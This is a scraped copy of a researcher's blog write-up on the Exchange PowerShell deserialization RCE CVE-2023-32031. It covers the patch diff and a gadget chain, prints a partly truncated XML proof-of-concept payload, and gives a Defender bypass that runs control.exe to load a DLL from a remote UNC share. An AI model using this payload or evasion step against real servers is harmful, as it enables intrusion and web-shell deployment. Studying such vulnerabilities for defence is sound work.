Professional Documents
Culture Documents
CVE 2023 32031 MS Exchange PowerShell Backend RCE Out of Band Writes
CVE 2023 32031 MS Exchange PowerShell Backend RCE Out of Band Writes
io/po…
CVE-2023-32031 MS Exchange
PowerShell backend RCE
Jan 7, 2023
After reading Starlabs’s blog about an interesting variant of CVE-2022-41082 and
seeing a tweet by chudyPB about a new bypass that he found. I get carious to
analyzing his bypasses (known as CVE-2023-32031 and CVE-2023-21529)
To understand this very creative bypass please read ZDI’s blog about CVE-2022-
41082 first.
Patch diff
The most important patch is on `ChainedSerializationBinder` class:
This is the most critical point in the patch, in old version the
not be validated.
Based on the patch we could use a generic type to bypass the validation, but how?
Abusing MultiValuedProperty
the type `MultiValuedProperty` is a Generic type allowed in
`SerializationTypeConverter`:
This class has a method named `ConvertInput` which will call `ConvertValue`
method with the type of the argument type of MultiValuedProperty and object item
the `ConvertValue` method contains logic to find a right converter for the given
type and `originalvalue`, this method is kinda the same as `FigureConversion`
in `System.Management.Automation.LanguagePrimitives`
with those primitives, we can call a constructor with a single argument. let’s see
`Microsoft.Diagnostics.Runtime.Utilities.Command` constructor:
We have a type that was not blacklisted and has a single argument constructor
which will call `System.Diagnostics.Process.Start`.
2. Call its constructor with our arbitrary command which will result in a call to
`AddValues`, which we can call the `Command` constructor in `ConvertValue`
PoC:
<Obj RefId="13">
<TN RefId="0">
<T>System.Management.Automation.PSCustomObject</T>
<T>System.Object</T>
</TN>
<MS>
<S N="N">-Identity:</S>
<!--Object type section-->
<Obj N="V" RefId="14">
<TN RefId="2">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>System.ServiceProcess.ServiceController</ToSt
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAA
</MS>
</Obj>
</Props>
<S>mspaint.exe</S>
</Obj>
</MS>
</Obj>
Call Stack:
Payload delivery
well, I could not use the method mentained on starlab’s blog to deliver the payload
(We need to call the constructor with an argument) and I also prefer a Python version
that could be used anywhere.
So I used ProxyNotsShell Poc and some code of pypsrp library to communicate with
exchange PowerShell backend using kerberos auth.
Bypass Defender
If you enable the windows Defender Real-time protection and run exploit you will
face this:
After some tries I noticed that the rule would not trigger for all binary files and some
of them would execute without trigger for example `control.exe`, this binary could
be used to load a DLL, and It also supports the UNC path.
So the attacker only needs to host their DLL somewhere that which exchange can
access (the extension also does not matter) and run control.exe `\\host\a.edb`
There are a lot of other lol bins which don’t trigger Defender and could be used to do
something useful (Download Web Shell, etc…) This was just an example :D